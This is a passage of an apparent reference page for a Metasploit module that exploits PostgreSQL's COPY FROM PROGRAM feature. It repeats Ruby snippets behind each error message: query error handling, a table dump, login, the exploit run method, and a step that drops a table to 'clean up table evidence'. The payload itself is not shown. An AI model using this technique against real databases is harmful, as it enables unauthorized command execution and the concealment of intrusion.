169:	      if copy_query[:sql_error] =~ /must be superuser to COPY to or from an external program/
170:	        print_error 'Insufficient permissions, User must be superuser or in pg_read_server_files group'
171:	        return false
172:	      end
173:	      print_warning "#{peer} - Unable to execute query: #{query}"

Insufficient permissions, User must be superuser or in pg_read_server_files group


Here is a relevant code snippet related to the "Insufficient permissions, User must be superuser or in pg_read_server_files group" error message:

165:	      print_error "#{peer} - Connection error"
166:	      return false
167:	    when :sql_error
168:	      print_warning "#{peer} - Unable to execute query: #{query}"
169:	      if copy_query[:sql_error] =~ /must be superuser to COPY to or from an external program/
170:	        print_error 'Insufficient permissions, User must be superuser or in pg_read_server_files group'
171:	        return false
172:	      end
173:	      print_warning "#{peer} - Unable to execute query: #{query}"
174:	      return false
175:	    when :complete

<PEER> - Unable to execute query: <QUERY>


Here is a relevant code snippet related to the "<PEER> - Unable to execute query: <QUERY>" error message:

168:	      print_warning "#{peer} - Unable to execute query: #{query}"
169:	      if copy_query[:sql_error] =~ /must be superuser to COPY to or from an external program/
170:	        print_error 'Insufficient permissions, User must be superuser or in pg_read_server_files group'
171:	        return false
172:	      end
173:	      print_warning "#{peer} - Unable to execute query: #{query}"
174:	      return false
175:	    when :complete
176:	      print_good "#{peer} - #{tablename} copied successfully(valid syntax/command)"
177:	    else
178:	      print_error "#{peer} - Unknown"

<PEER> - Unknown


Here is a relevant code snippet related to the "<PEER> - Unknown" error message:

173:	      print_warning "#{peer} - Unable to execute query: #{query}"
174:	      return false
175:	    when :complete
176:	      print_good "#{peer} - #{tablename} copied successfully(valid syntax/command)"
177:	    else
178:	      print_error "#{peer} - Unknown"
179:	      return false
180:	    end
181:	
182:	    if datastore['DUMP_TABLE_OUTPUT']
183:	    # Select output from table for debugging

<PEER> - Connection error


Here is a relevant code snippet related to the "<PEER> - Connection error" error message:

183:	    # Select output from table for debugging
184:	      query = "SELECT * FROM #{tablename};"
185:	      select_query = postgres_query(query)
186:	      case select_query.keys[0]
187:	      when :conn_error
188:	        print_error "#{peer} - Connection error"
189:	        return false
190:	      when :sql_error
191:	        print_warning "#{peer} - Unable to execute query: #{query}"
192:	        return false
193:	      when :complete

<PEER> - Unable to execute query: <QUERY>


Here is a relevant code snippet related to the "<PEER> - Unable to execute query: <QUERY>" error message:

186:	      case select_query.keys[0]
187:	      when :conn_error
188:	        print_error "#{peer} - Connection error"
189:	        return false
190:	      when :sql_error
191:	        print_warning "#{peer} - Unable to execute query: #{query}"
192:	        return false
193:	      when :complete
194:	        print_good "#{peer} - #{tablename} contents:\n#{select_query}"
195:	        return true
196:	      else

<PEER> - Unknown


Here is a relevant code snippet related to the "<PEER> - Unknown" error message:

192:	        return false
193:	      when :complete
194:	        print_good "#{peer} - #{tablename} contents:\n#{select_query}"
195:	        return true
196:	      else
197:	        print_error "#{peer} - Unknown"
198:	        return false
199:	      end
200:	    end
201:	    # Clean up table evidence
202:	    query = "DROP TABLE IF EXISTS #{tablename};"

<PEER> - Connection error


Here is a relevant code snippet related to the "<PEER> - Connection error" error message:

201:	    # Clean up table evidence
202:	    query = "DROP TABLE IF EXISTS #{tablename};"
203:	    drop_query = postgres_query(query)
204:	    case drop_query.keys[0]
205:	    when :conn_error
206:	      print_error "#{peer} - Connection error"
207:	      return false
208:	    when :sql_error
209:	      print_warning "#{peer} - Unable to execute query: #{query}"
210:	      return false
211:	    when :complete

<PEER> - Unable to execute query: <QUERY>


Here is a relevant code snippet related to the "<PEER> - Unable to execute query: <QUERY>" error message:

204:	    case drop_query.keys[0]
205:	    when :conn_error
206:	      print_error "#{peer} - Connection error"
207:	      return false
208:	    when :sql_error
209:	      print_warning "#{peer} - Unable to execute query: #{query}"
210:	      return false
211:	    when :complete
212:	      print_good "#{peer} - #{tablename} dropped successfully(Cleaned)"
213:	    else
214:	      print_error "#{peer} - Unknown"

<PEER> - Unknown


Here is a relevant code snippet related to the "<PEER> - Unknown" error message:

209:	      print_warning "#{peer} - Unable to execute query: #{query}"
210:	      return false
211:	    when :complete
212:	      print_good "#{peer} - #{tablename} dropped successfully(Cleaned)"
213:	    else
214:	      print_error "#{peer} - Unknown"
215:	      return false
216:	    end
217:	  end
218:	
219:	  def do_login(user, pass, database)

<PEER> - Login failed


Here is a relevant code snippet related to the "<PEER> - Login failed" error message:

224:	        username: user,
225:	        password: password
226:	      )
227:	
228:	      return result[:auth] if result[:auth]
229:	      print_error "#{peer} - Login failed"
230:	      return :noauth
231:	
232:	    rescue Rex::ConnectionError
233:	      return :noconn
234:	    end

Exploit Failed


Here is a relevant code snippet related to the "Exploit Failed" error message:

239:	    #return unless vuln_version?
240:	    return unless login_success?
241:	    print_status("Exploiting...")
242:	    if execute_payload
243:	      print_status("Exploit Succeeded")
244:	    else
245:	      print_error("Exploit Failed")
246:	    end
247:	    postgres_logout if @postgres_conn
248:	  end
249:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Jacob Wilkin

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.